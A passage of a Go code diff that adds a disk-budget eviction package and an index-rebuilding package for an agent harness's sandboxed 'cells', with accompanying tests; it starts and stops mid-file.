return r.seal(c, dir, name, n), dir +} + +func (r *rig) newCell() cell.Cell { + c, err := cell.CreateIn(filepath.Join(r.dirs, "cells"), cell.Options{Class: cell.Sandboxed}) + if err != nil { + r.t.Fatal(err) + } + return c +} + +func (r *rig) seal(c cell.Cell, workspace, name string, n int) cell.Cell { + r.work[c.ID] = workspace + write(r.t, filepath.Join(workspace, name), strings.Repeat("x", n)) + write(r.t, filepath.Join(workspace, "src", "deep", "f.txt"), name) + write(r.t, filepath.Join(c.Root, cell.TranscriptPath), `{"role":"user"}`+"\n") + engine := cellstore.EngineFor(workspace) + engine.Binary, engine.DataRoot = r.bin, r.m.Engine.DataRoot + if _, err := engine.Seal(ctx, c, cellstore.TurnInfo{Trigger: cellstore.AgentRun}); err != nil { + r.t.Fatal(err) + } + if err := r.m.Open(ctx, c); err != nil { + r.t.Fatal(err) + } + r.now = r.now.Add(time.Hour) + return c +} + +func write(t *testing.T, path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} + +func (r *rig) collect() Report { + r.t.Helper() + rep, err := r.m.Collect(ctx, false) + if err != nil { + r.t.Fatal(err) + } + return rep +} + +func (r *rig) outcomes(rep Report) map[string]Outcome { + out := map[string]Outcome{} + for _, a := range rep.Actions { + out[a.ID] = a.Outcome + } + return out +} + +// digest lists every path with its mode and content hash, .git and .furrow aside. +func digest(t *testing.T, root string) string { + t.Helper() + var lines []string + err := filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error { + rel, _ := filepath.Rel(root, p) + if err != nil || rel == "." { + return err + } + if rel == ".git" || rel == ".furrow" { + return fs.SkipDir + } + info, _ := d.Info() + sum := [8]byte{} + if !d.IsDir() { + raw, _ := os.ReadFile(p) + h := sha256.Sum256(raw) + copy(sum[:], h[:8]) + } + lines = append(lines, rel+" "+info.Mode().String()+" "+string(sum[:])) + return nil + }) + if err != nil { + t.Fatal(err) + } + sort.Strings(lines) + return strings.Join(lines, "\n") +} + +func TestEvictThenOpenRestoresByteIdentical(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + grown := filepath.Join(c.Root, cell.TranscriptPath) + write(t, grown, `{"role":"user"}`+"\n"+`{"role":"assistant"}`+"\n") // grew after the seal + work := r.work[c.ID] + want, wantCell := digest(t, work), digest(t, c.Root) + + rep := r.collect() + if r.outcomes(rep)[c.ID] != Evicted { + t.Fatalf("not evicted: %+v", rep) + } + left, _ := os.ReadDir(work) + for _, e := range left { + if !kept[e.Name()] { + t.Fatalf("working file %q survived eviction", e.Name()) + } + } + if err := r.m.Open(ctx, c); err != nil { + t.Fatal(err) + } + if got := digest(t, work); got != want { + t.Fatalf("reopened tree differs.\nwant:\n%s\ngot:\n%s", want, got) + } + if got := digest(t, c.Root); got != wantCell { + t.Fatalf("the cell's own folder changed.\nwant:\n%s\ngot:\n%s", wantCell, got) + } +} + +func TestYourFolderIsNeverEvicted(t *testing.T) { + r := newRig(t, 1) + c, dir := r.yours("big", 4096) // opened first, so considered first + mine := r.cell("big", 4096) + want := digest(t, dir) + dry, err := r.m.Collect(ctx, true) + if err != nil || r.outcomes(dry)[mine.ID] != WouldEvict { + t.Fatalf("dry run: %+v %v", dry, err) + } + if a := dry.Actions[0]; a.ID != c.ID || a.Outcome != Skipped || a.Why != "workspace is yours" { + t.Fatalf("dry run must say why: %+v", a) + } + if got := r.outcomes(r.collect()); got[c.ID] != Skipped || got[mine.ID] != Evicted { + t.Fatalf("outcomes: %v", got) + } + if got := digest(t, dir); got != want { + t.Fatalf("your folder changed.\nwant:\n%s\ngot:\n%s", want, got) + } +} + +func TestYourFolderDoesNotCountAgainstTheBudget(t *testing.T) { + r := newRig(t, 6000) + r.yours("huge", 1<<20) + mine := r.cell("a", 4096) + rep := r.collect() + if rep.Total >= 1<<20 { + t.Fatalf("a folder of yours was counted: %+v", rep) + } + if got := r.outcomes(rep); len(got) != 0 { + t.Fatalf("under budget, nothing to do: %v (%s)", got, mine.ID) + } +} + +func TestRunningCellIsNeverEvicted(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + r.busy[c.ID] = true + rep := r.collect() + if r.outcomes(rep)[c.ID] != Skipped || rep.Actions[0].Why != "running" { + t.Fatalf("running cell was not skipped: %+v", rep) + } + if _, err := os.Stat(filepath.Join(r.work[c.ID], "big")); err != nil { + t.Fatal("running cell lost its files") + } +} + +func TestUnsealedCellIsNeverEvicted(t *testing.T) { + r := newRig(t, 1) + never := r.cell("never", 4096) + if err := os.Remove(filepath.Join(never.Root, cellstore.TurnsPath)); err != nil { + t.Fatal(err) + } + pending := r.cell("pending", 4096) + wal, _, err := cellstore.OpenWAL(r.m.Engine.WALPath(pending)) + if err != nil { + t.Fatal(err) + } + if err := wal.Begin(cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "h", Started: 1}); err != nil { + t.Fatal(err) + } + got := r.outcomes(r.collect()) + if got[never.ID] != Skipped || got[pending.ID] != Skipped { + t.Fatalf("unsealed cells must be skipped: %v", got) + } +} + +func TestEvictionIsLeastRecentlyOpenedFirst(t *testing.T) { + r := newRig(t, 6000) + oldest, middle, newest := r.cell("a", 4096), r.cell("b", 4096), r.cell("c", 4096) + if err := r.m.Open(ctx, oldest); err != nil { // reopening makes it the newest + t.Fatal(err) + } + r.now = r.now.Add(time.Hour) + got := r.outcomes(r.collect()) + if got[middle.ID] != Evicted || got[newest.ID] != Evicted || len(got) != 2 { + t.Fatalf("want the two least recently opened evicted, got %v", got) + } + _ = oldest +} + +func TestJustOpenedCellIsProtected(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + if err := r.m.Open(ctx, c); err != nil { + t.Fatal(err) + } + if got := r.outcomes(r.collect()); got[c.ID] != Skipped { + t.Fatalf("a cell opened this instant was evicted: %v", got) + } +} + +func TestDryRunChangesNothing(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + rep, err := r.m.Collect(ctx, true) + if err != nil || r.outcomes(rep)[c.ID] != WouldEvict { + t.Fatalf("dry run: %+v %v", rep, err) + } + if _, err := os.Stat(filepath.Join(r.work[c.ID], "big")); err != nil { + t.Fatal("dry run removed files") + } +} + +func TestUnderBudgetMeasuresOnceAndTouchesNothing(t *testing.T) { + r := newRig(t, 1<<30) + c := r.cell("big", 4096) + first := r.collect() + if len(first.Actions) != 0 || first.Total < 4096 { + t.Fatalf("under budget: %+v", first) + } + dir := r.m.Engine.LocalDir(c) + before, _ := readEntry(dir) + r.collect() + if after, _ := readEntry(dir); after.MeasuredMs != before.MeasuredMs { + t.Fatal("size was measured again although the transcript had not moved") + } +} + +func TestLimitReadsTheSetting(t *testing.T) { + t.Setenv(BudgetEnv, "3") + if Limit() != 3<<30 { + t.Fatalf("limit %d", Limit()) + } + t.Setenv(BudgetEnv, "0") + if Limit() != 0 { + t.Fatal("0 must mean no limit") + } + t.Setenv(BudgetEnv, "junk") + if Limit() != defaultGiB<<30 { + t.Fatal("junk must fall back to the default") + } +} diff --git a/internal/cellbudget/collect.go b/internal/cellbudget/collect.go new file mode 100644 index 0000000000..fc8c68449f --- /dev/null +++ b/internal/cellbudget/collect.go @@ -0,0 +1,223 @@ +package cellbudget + +import ( + "context" + "errors" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/env" +) + +// BudgetEnv is the one setting: the disk the working files of all cells may +// use, in GiB, fractions allowed. 0 means no limit. +const BudgetEnv = "CODEAF_CELL_BUDGET_GB" + +const defaultGiB = 20 + +// Limit is the budget in bytes; 0 means unlimited. An unreadable value is the +// default rather than an error, so a typo cannot disable the budget silently +// or refuse to start. +func Limit() int64 { + gib, err := strconv.ParseFloat(strings.TrimSpace(env.Get(BudgetEnv)), 64) + if err != nil || gib < 0 { + gib = defaultGiB + } + return int64(gib * (1 << 30)) +} + +// Outcome is what a sweep did, or would do, with one cell. +type Outcome string + +const ( + Evicted Outcome = "evicted" + WouldEvict Outcome = "would evict" + Skipped Outcome = "skipped" +) + +// Action is one cell's part of a sweep. Why is set for a skipped cell. +type Action struct { + ID string + Bytes int64 + Outcome Outcome + Why string +} + +// Report is a sweep's result. Total is what the cells held before it ran. +type Report struct { + Total, Limit int64 + Actions []Action +} + +// held is a cell found through its ledger. +type held struct { + cell cell.Cell + entry Entry +} + +// Collect brings the cells under the budget, least recently opened first. With +// dry set it changes nothing and reports what it would evict. +func (m Manager) Collect(ctx context.Context, dry bool) (Report, error) { + cells, err := m.measured() + if err != nil { + return Report{}, err + } + rep := Report{Total: total(cells), Limit: m.Limit} + if m.Limit <= 0 || rep.Total <= m.Limit { + return rep, nil + } + sort.Slice(cells, func(i, j int) bool { return cells[i].entry.OpenedMs < cells[j].entry.OpenedMs }) + over := rep.Total - m.Limit + for _, h := range cells { + if over <= 0 { + break + } + a := m.consider(ctx, h, dry) + rep.Actions = append(rep.Actions, a) + if a.Outcome != Skipped { + over -= a.Bytes + } + } + return rep, nil +} + +func total(cells []held) (n int64) { + for _, h := range cells { + n += h.entry.Bytes + } + return n +} + +func (m Manager) consider(ctx context.Context, h held, dry bool) Action { + a := Action{ID: h.cell.ID, Bytes: h.entry.Bytes} + skip := func(err error) Action { a.Outcome, a.Why = Skipped, err.Error(); return a } + if err := m.accepts(h); err != nil { + return skip(err) + } + if dry { + a.Outcome = WouldEvict + return a + } + if err := m.evictLocked(ctx, h); err != nil { + return skip(err) + } + a.Outcome = Evicted + return a +} + +func (m Manager) accepts(h held) error { + for _, r := range m.rules() { + if err := r(h.cell, h.entry); err != nil { + return err + } + } + return nil +} + +// evictLocked evicts under the cell's lock, judging the rules again there: +// the sweep's first look was without it. +func (m Manager) evictLocked(ctx context.Context, h held) error { + release, err := lock(m.Engine.LocalDir(h.cell), false) + if err != nil { + return err + } + defer release() + e, err := readEntry(m.Engine.LocalDir(h.cell)) + if err != nil { + return err + } + h.entry = e + if e.Evicted != nil { + return errors.New("already evicted") + } + if err := m.accepts(h); err != nil { + return err + } + return m.evict(ctx, h.cell, e) +} + +// measured lists the cells that still hold their working files, each with a +// current size. A size is cached and re-measured only when the transcript +// moved after it was taken. +func (m Manager) measured() ([]held, error) { + dirs, err := os.ReadDir(m.Engine.Root()) + if errors.Is(err, os.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var out []held + for _, d := range dirs { + if h, ok := m.load(filepath.Join(m.Engine.Root(), d.Name()), d.Name()); ok { + out = append(out, h) + } + } + return out, nil +} + +// load reads one ledger and refreshes its size. A cell that is gone, evicted or +// unmeasurable is not part of the total. +func (m Manager) load(dir, id string) (held, bool) { + e, err := readEntry(dir) + if err != nil || e.Root == "" || e.Evicted != nil { + return held{}, false + } + c, err := cell.OpenAt(e.Root, id) + if err != nil { + return held{}, false + } + if e, err = m.refreshed(dir, c, e); err != nil { + return held{}, false + } + return held{cell: c, entry: e}, true +} + +func (m Manager) refreshed(dir string, c cell.Cell, e Entry) (Entry, error) { + if !m.stale(c, e) { + return e, nil + } + n, err := m.held(c) + if err != nil { + return e, err + } + e.Bytes, e.MeasuredMs = n, m.nowMs() + return e, writeEntry(dir, e) +} + +// held is what eviction would free from the cell: the size of a workspace the +// harness owns. A person's folder is never walked and never counted. +func (m Manager) held(c cell.Cell) (int64, error) { + dir := m.Workspace(c) + if !harnessOwned(c, dir) { + return 0, nil + } + return workingSize(dir) +} + +func (m Manager) stale(c cell.Cell, e Entry) bool { + info, err := os.Stat(filepath.Join(c.Root, cell.TranscriptPath)) + return e.MeasuredMs == 0 || err != nil || info.ModTime().UnixMilli() > e.MeasuredMs +} + +// Auto is the sweep a start runs: at most once per interval, and free when +// under budget, because sizes are cached. +func (m Manager) Auto(ctx context.Context, every time.Duration) error { + stamp := filepath.Join(m.Engine.Root(), "sweep.stamp") + if info, err := os.Stat(stamp); err == nil && m.Now().Sub(info.ModTime()) < every { + return nil + } + if err := os.MkdirAll(m.Engine.Root(), 0o700); err != nil { + return err + } + if err := os.WriteFile(stamp, nil, 0o600); err != nil { + return err + } + _, err := m.Collect(ctx, false) + return err +} diff --git a/internal/cellbudget/doc.go b/internal/cellbudget/doc.go new file mode 100644 index 0000000000..4d770eabd1 --- /dev/null +++ b/internal/cellbudget/doc.go @@ -0,0 +1,25 @@ +// Package cellbudget keeps the device's disk a cache of the cells' stores +// (docs/ARCHITECTURE.md 10). A cell that is finished, idle and fully sealed +// may have the working files of its sealed workspace removed, but only when +// that workspace is the harness's own, a folder inside the cell's. A person's +// project folder is never evicted. The engine's attach markers stay, plus a +// pointer naming the snapshot that holds everything else. Opening the cell +// writes the files back byte for byte. +// +// WHERE SEALED CONTENT LIVES is the [Vault] interface. Stage 0 backs it with +// the local engine store (cellstore.Engine); stage 1 backs it with a bucket, +// and the policy below does not change. +// +// THE POLICY, ONE SENTENCE PER PART: +// +// - The budget is one setting, [BudgetEnv], in GiB; 0 means no limit. +// - Every cell has a device-local ledger (ledger.go): last opened, measured +// size, and the pointer when evicted. Sizes are cached; a tree is walked +// again only when the cell's transcript moved after the last measure. +// - Over budget, cells are evicted least recently opened first, and a cell +// is passed over unless every [Rule] accepts it: idle, not just opened, +// its workspace the harness's own, and sealed with nothing pending in the call log. +// - Eviction captures the tree first, writes the pointer, then removes. A +// crash in between leaves a pointer and a partial tree, and opening +// restores over it. +package cellbudget diff --git a/internal/cellbudget/ledger.go b/internal/cellbudget/ledger.go new file mode 100644 index 0000000000..d8dc218094 --- /dev/null +++ b/internal/cellbudget/ledger.go @@ -0,0 +1,85 @@ +package cellbudget + +import ( + "encoding/json" + "errors" + "io/fs" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/filelock" +) + +const ( + ledgerFile = "budget.json" + lockFile = "budget.lock" + schemaV = 1 +) + +// Pointer says where an evicted cell's working files went. +type Pointer struct { + Snapshot string `json:"snapshot"` + AtMs int64 `json:"at_ms"` + // Paths are the top-level names eviction removed, and so all a restore writes. + Paths []string `json:"paths"` +} + +// Entry is one cell's device-local ledger. V is first (L11). +type Entry struct { + V uint16 `json:"V"` + Root string `json:"root"` + OpenedMs int64 `json:"opened_ms"` + Bytes int64 `json:"bytes"` + MeasuredMs int64 `json:"measured_ms"` + Evicted *Pointer `json:"evicted,omitempty"` +} + +func readEntry(dir string) (Entry, error) { + raw, err := os.ReadFile(filepath.Join(dir, ledgerFile)) + if errors.Is(err, fs.ErrNotExist) { + return Entry{V: schemaV}, nil + } + if err != nil { + return Entry{}, err + } + var e Entry + return e, json.Unmarshal(raw, &e) +} + +func writeEntry(dir string, e Entry) error { + e.V = schemaV + raw, err := json.Marshal(e) + if err != nil { + return err + } + path := filepath.Join(dir, ledgerFile) + tmp := path + ".tmp" + if err := os.WriteFile(tmp, raw, 0o600); err != nil { + return err + } + return os.Rename(tmp, path) +} + +// errLocked means another process holds the cell's budget lock. +var errLocked = errors.New("locked by another process") + +// lock takes the cell's budget lock, the one writer of its ledger and of its +// working files while they are removed or restored. Waiting is for the open +// path, which must not proceed on a half-evicted tree; the sweep never waits. +func lock(dir string, wait bool) (release func(), err error) { + if err := os.MkdirAll(dir, 0o700); err != nil { + return nil, err + } + f, err := os.OpenFile(filepath.Join(dir, lockFile), os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + return nil, err + } + if err := filelock.Lock(f, true, !wait); err != nil { + _ = f.Close() + if filelock.IsBusy(err) { + return nil, errLocked + } + return nil, err + } + return func() { _ = filelock.Unlock(f); _ = f.Close() }, nil +} diff --git a/internal/cellbudget/manager.go b/internal/cellbudget/manager.go new file mode 100644 index 0000000000..70bb682256 --- /dev/null +++ b/internal/cellbudget/manager.go @@ -0,0 +1,122 @@ +package cellbudget + +import ( + "context" + "os" + "path/filepath" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// Vault is where sealed content lives. Capture snapshots the cell's folder and +// answers a handle; Restore writes that handle back into the folder. +type Vault interface { + Capture(ctx context.Context, c cell.Cell) (string, error) + Restore(ctx context.Context, c cell.Cell, handle string, paths []string) error +} + +var _ Vault = cellstore.Engine{} + +// openGrace is how long a freshly opened cell is safe from eviction. +const openGrace = 10 * time.Minute + +// Manager applies the budget to the cells whose ledgers sit under Engine.Root. +// Engine is the store layout only; what a cell seals, and so what eviction may +// remove and restore, is the tree Workspace names. +type Manager struct { + Engine cellstore.Engine + // Workspace answers the tree a cell's session seals, "" when it has none. + Workspace func(cell.Cell) string + // Vault answers where that tree's sealed content lives. + Vault func(cell.Cell) Vault + // Busy reports whether a session holds the cell. + Busy func(cell.Cell) bool + Limit int64 + Now func() time.Time +} + +// New builds the stage 0 manager: the engine is the local directory layout, +// and the vault is that engine over the cell's sealed workspace, so capture and +// restore use the tree the seals use. busy reports whether a session holds the +// cell. +func New(engine cellstore.Engine, workspace func(cell.Cell) string, busy func(cell.Cell) bool) Manager { + vault := func(c cell.Cell) Vault { + e := cellstore.EngineFor(workspace(c)) + e.Binary, e.DataRoot = engine.Binary, engine.DataRoot + return e + } + return Manager{Engine: engine, Workspace: workspace, Vault: vault, Busy: busy, Limit: Limit(), Now: time.Now} +} + +// rules are what a cell must satisfy to be evicted, cheapest first. +func (m Manager) rules() []Rule { + return []Rule{idle(m.Busy), justOpened(openGrace, m.Now), owned(m.Workspace), sealed(m.Engine)} +} + +func (m Manager) nowMs() int64 { return m.Now().UnixMilli() } + +// Open makes the cell ready to run: an evicted cell is written back, and the +// cell is stamped as opened now. It waits for a sweep that holds the cell. +func (m Manager) Open(ctx context.Context, c cell.Cell) error { + dir := m.Engine.LocalDir(c) + release, err := lock(dir, true) + if err != nil { + return err + } + defer release() + e, err := readEntry(dir) + if err != nil { + return err + } + if e.Evicted != nil { + if err := m.materialize(ctx, c, *e.Evicted); err != nil { + return err + } + e.Evicted, e.MeasuredMs = nil, 0 + } + e.Root, e.OpenedMs = c.Root, m.nowMs() + return writeEntry(dir, e) +} + +// materialize writes back exactly what eviction removed. Only those top-level +// paths are restored, so .cell/ stays as the device has it: the snapshot holds +// it as of the capture, and the transcript or turn log may have grown since. +func (m Manager) materialize(ctx context.Context, c cell.Cell, p Pointer) error { + if len(p.Paths) == 0 { + return nil + } + return m.Vault(c).Restore(ctx, c, p.Snapshot, p.Paths) +} + +// evict removes the working files of a cell's workspace. The caller holds its +// lock, and the rules have said the workspace is the harness's own. +func (m Manager) evict(ctx context.Context, c cell.Cell, e Entry) error { + paths, err := removable(m.Workspace(c)) + if err != nil { + return err + } + handle, err := m.Vault(c).Capture(ctx, c) + if err != nil { + return err + } + e.Evicted = &Pointer{Snapshot: handle, AtMs: m.nowMs(), Paths: names(paths)} + if err := writeEntry(m.Engine.LocalDir(c), e); err != nil { + return err + } + for _, p := range paths { + if err := os.RemoveAll(p); err != nil { + return err + } + } + return nil +} + +func names(paths []string) []string { + out := make([]string, len(paths)) + for i, p := range paths { + out[i] = filepath.Base(p) + } + return out +} diff --git a/internal/cellbudget/measure.go b/internal/cellbudget/measure.go new file mode 100644 index 0000000000..512613d64c --- /dev/null +++ b/internal/cellbudget/measure.go @@ -0,0 +1,57 @@ +package cellbudget + +import ( + "io/fs" + "os" + "path/filepath" +) + +// kept is what eviction leaves in the workspace: the markers the engine needs +// to find its store again. +var kept = map[string]bool{".git": true, ".furrow": true} + +// removable lists the top-level entries eviction would remove. +func removable(root string) ([]string, error) { + entries, err := os.ReadDir(root) + if err != nil { + return nil, err + } + var out []string + for _, e := range entries { + if !kept[e.Name()] { + out = append(out, filepath.Join(root, e.Name())) + } + } + return out, nil +} + +// workingSize is the bytes eviction would free. +func workingSize(root string) (int64, error) { + paths, err := removable(root) + if err != nil { + return 0, err + } + var total int64 + for _, p := range paths { + n, err := treeSize(p) + if err != nil { + return 0, err + } + total += n + } + return total, nil +} + +func treeSize(root string) (n int64, err error) { + err = filepath.WalkDir(root, func(_ string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + info, err := d.Info() + if err == nil { + n += info.Size() + } + return err + }) + return n, err +} diff --git a/internal/cellbudget/rules.go b/internal/cellbudget/rules.go new file mode 100644 index 0000000000..f43ff59dfd --- /dev/null +++ b/internal/cellbudget/rules.go @@ -0,0 +1,79 @@ +package cellbudget + +import ( + "errors" + "fmt" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// Rule accepts a cell for eviction by returning nil, or says why not. +type Rule func(c cell.Cell, e Entry) error + +func idle(busy func(cell.Cell) bool) Rule { + return func(c cell.Cell, _ Entry) error { + if busy(c) { + return errors.New("running") + } + return nil + } +} + +// justOpened protects a cell between the moment it was opened and the moment +// its session takes the transcript lock. +func justOpened(grace time.Duration, now func() time.Time) Rule { + return func(_ cell.Cell, e Entry) error { + if now().Sub(time.UnixMilli(e.OpenedMs)) < grace { + return errors.New("opened recently") + } + return nil + } +} + +// owned accepts a cell whose sealed workspace is the harness's own: a folder +// inside the cell's. Any other workspace is a person's project, and eviction +// never removes a person's files. +func owned(workspace func(cell.Cell) string) Rule { + return func(c cell.Cell, _ Entry) error { + if !harnessOwned(c, workspace(c)) { + return errors.New("workspace is yours") + } + return nil + } +} + +// harnessOwned says whether dir is a folder strictly inside the cell's own. +func harnessOwned(c cell.Cell, dir string) bool { + rel, err := filepath.Rel(c.Root, dir) + return dir != "" && err == nil && rel != "." && !strings.HasPrefix(rel, "..") +} + +// sealed accepts a cell whose head is sealed and whose call log holds nothing +// pending: no call in flight, no finished call the next seal has yet to take. +func sealed(store cellstore.Engine) Rule { + return func(c cell.Cell, _ Entry) error { + head, err := cellstore.Head(c) + if err != nil { + return fmt.Errorf("head unreadable: %w", err) + } + if head == nil { + return errors.New("never sealed") + } + return pendingCalls(store, c) + } +} + +func pendingCalls(store cellstore.Engine, c cell.Cell) error { + _, rec, err := cellstore.OpenWAL(store.WALPath(c)) + if err != nil { + return fmt.Errorf("call log unreadable: %w", err) + } + if len(rec.Incomplete)+len(rec.Completed) > 0 { + return errors.New("unsealed calls") + } + return nil +} diff --git a/internal/cellindex/artifacts.go b/internal/cellindex/artifacts.go new file mode 100644 index 0000000000..5c92964a0f --- /dev/null +++ b/internal/cellindex/artifacts.go @@ -0,0 +1,48 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +// artifactIndex is this session's share of the machine's deliverables index: +// one row per file the cell's own ledger (.cell/artifacts.jsonl) cites. The +// ledger and the files beside it are the truth and travel with the chat; this +// index is what the picker on THIS machine reads, with the paths made absolute +// here. +type artifactIndex struct{} + +func (artifactIndex) Name() string { return "artifacts.jsonl" } + +// Present reports whether the machine's index already names every file the +// ledger cites. A session that cites nothing owes the index nothing. +func (artifactIndex) Present(c cell.Cell) bool { + return len(unindexed(c)) == 0 +} + +func (artifactIndex) Build(c cell.Cell, _ session.Digest) error { + rows := unindexed(c) + for i := len(rows) - 1; i >= 0; i-- { // the ledger reads newest first; the index grows oldest first + session.RecordArtifact(artifactsIndexPath(), rows[i]) + } + return nil +} + +// unindexed is the cited deliverables the machine's index has no row for, newest first. +func unindexed(c cell.Cell) []session.Artifact { + held := map[string]bool{} + for _, row := range session.ReadArtifacts(artifactsIndexPath()) { + held[row.Path] = true + } + var missing []session.Artifact + for _, row := range session.SealedArtifacts(c.Root) { + if !held[row.Path] { + row.Session = c.ID + missing = append(missing, row) + } + } + return missing +} + +func artifactsIndexPath() string { return home.Join("v3", session.ArtifactsIndexName) } diff --git a/internal/cellindex/artifacts_test.go b/internal/cellindex/artifacts_test.go new file mode 100644 index 0000000000..60fcfffc65 --- /dev/null +++ b/internal/cellindex/artifacts_test.go @@ -0,0 +1,73 @@ +package cellindex + +import ( + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +// madeChat is a cell whose only deliverable is report.md, cited in its ledger. +func madeChat(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + place := session.Place{Dir: c.Root} + path := filepath.Join(place.Artifacts(), "report.md") + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("# report\n"), 0o600); err != nil { + t.Fatal(err) + } + session.RecordSealedArtifact(place, session.Artifact{Path: path, Session: c.ID, Title: "report", Created: time.Now()}) + return c +} + +func TestArtifactIndexOfAChatWithNoArtifacts(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + if !(artifactIndex{}).Present(c) { + t.Fatal("a chat that made nothing owes the index nothing") + } +} + +// Reading on machine B after a move: the folder is somewhere else and B's own +// index is empty, yet the picker on B names the file where it is on B. +func TestArtifactIndexReadOnMachineBAfterAMove(t *testing.T) { + c := madeChat(t) + movedTo := filepath.Join(t.TempDir(), "elsewhere", filepath.Base(c.Root)) + if err := os.MkdirAll(filepath.Dir(movedTo), 0o700); err != nil { + t.Fatal(err) + } + if err := os.Rename(c.Root, movedTo); err != nil { + t.Fatal(err) + } + t.Setenv(home.EnvVar, t.TempDir()) // B's home: an index that starts empty + onB := cell.Cell{Root: movedTo, ID: c.ID} + + ix := artifactIndex{} + if ix.Present(onB) { + t.Fatal("B's empty index reports the chat's files as present") + } + if err := ix.Build(onB, session.Digest{}); err != nil { + t.Fatal(err) + } + rows := session.ReadArtifacts(artifactsIndexPath()) + want := filepath.Join(movedTo, ".cell", "artifacts", "report.md") + if len(rows) != 1 || rows[0].Path != want || rows[0].Session != c.ID { + t.Fatalf("B's index = %+v, want one row at %s", rows, want) + } + if !ix.Present(onB) { + t.Fatal("the index still misses the row it just built") + } +} diff --git a/internal/cellindex/doc.go b/internal/cellindex/doc.go new file mode 100644 index 0000000000..9801bb3ca7 --- /dev/null +++ b/internal/cellindex/doc.go @@ -0,0 +1,21 @@ +// Package cellindex rebuilds what the harness keeps ABOUT a session from what +// the sealed cell holds (docs/ARCHITECTURE.md 14, docs/PLAN.md 0.6). +// +// THE PRINCIPLE. The sealed cell (transcript, turns, receipts) is the only +// truth. Every index the harness keeps beside it is a citation of that record, +// so a cell materialized on a machine that never ran it can have its indexes +// made again, and a lost or deleted index is a slow open and never a lost +// conversation. +// +// THE SHAPE. An [Index] is one derived thing: it can say whether it is present +// and can be built again from a [session.Digest], the transcript read as facts. +// [Indexes] is the registry; [Rebuild] walks it and builds each index that is +// missing, so adding an index is adding one type and one registry line. +// +// WHAT IS NOT HERE, and why, is the table in the lane report: state.json and +// tasks.json are the model's and the scheduler's own working state (truth, they +// ride the sealed folder), card.json is a model-extracted summary the next turn +// refills, and the fields of meta.json the transcript cannot know (effort, +// approval, referred places, working copies, archive marks) are truth that +// still lives only in that file. +package cellindex diff --git a/internal/cellindex/index.go b/internal/cellindex/index.go new file mode 100644 index 0000000000..895f6c5619 --- /dev/null +++ b/internal/cellindex/index.go @@ -0,0 +1,110 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/session" +) + +// Index is one derived file the harness keeps about a session. +type Index interface { + // Name is the index's word in a report. + Name() string + // Present reports whether the index already holds this session's rows. + Present(c cell.Cell) bool + // Build makes the index again from the transcript's digest. + Build(c cell.Cell, d session.Digest) error +} + +// Refreshable is an index that can also say it is BEHIND: it holds rows, but +// fewer than the transcript and the receipts now say. A copy of a chat this +// machine already had is taken forward by a handoff, and the indexes it kept +// from the older copy are then present and wrong. Behind is asked only with the +// digest already read, never on an ordinary open. +type Refreshable interface { + Index + Behind(c cell.Cell, d session.Digest) bool +} + +// Indexes is the registry, in build order. +var Indexes = []Index{metaIndex{}, usageIndex{}, taskIndex{}, memoryIndex{}, artifactIndex{}} + +// RebuildAt opens the cell at dir and rebuilds its missing indexes, for a +// session whose workspace is where workspace says on this machine. +func RebuildAt(dir, workspace string) ([]string, error) { + c, err := cell.OpenAt(dir, baseName(dir)) + if err != nil { + return nil, err + } + return Rebuild(c, workspace) +} + +// Rebuild builds every missing index of the cell from its transcript and +// returns the names it built. An index already present is left alone: what is +// there was written by the session itself and may hold more than the +// transcript can say. The transcript is read only when something is missing. +// +// A sealed transcript names no folder of any machine, so the opener says where +// the workspace is HERE; when it does, that answer is the digest's workspace. +func Rebuild(c cell.Cell, workspace string) ([]string, error) { + missing := missingOf(c) + if len(missing) == 0 { + return nil, nil + } + d, err := digestOf(c, workspace) + if err != nil { + return nil, err + } + return build(c, d, missing) +} + +// Refresh is [Rebuild] for a chat a handoff has just moved forward: it reads +// the transcript once and builds every index that is missing or behind it. A +// behind index brings in only the rows it lacks, so the ledgers never double. +func Refresh(c cell.Cell, workspace string) ([]string, error) { + d, err := digestOf(c, workspace) + if err != nil { + return nil, err + } + var due []Index + for _, ix := range Indexes { + if !ix.Present(c) || behind(ix, c, d) { + due = append(due, ix) + } + } + return build(c, d, due) +} + +func behind(ix Index, c cell.Cell, d session.Digest) bool { + r, ok := ix.(Refreshable) + return ok && r.Behind(c, d) +} + +// build runs the due indexes over the digest. +func build(c cell.Cell, d session.Digest, due []Index) ([]string, error) { + var built []string + for _, ix := range due { + if err := ix.Build(c, d); err != nil { + return built, err + } + built = append(built, ix.Name()) + } + return built, nil +} + +func digestOf(c cell.Cell, workspace string) (session.Digest, error) 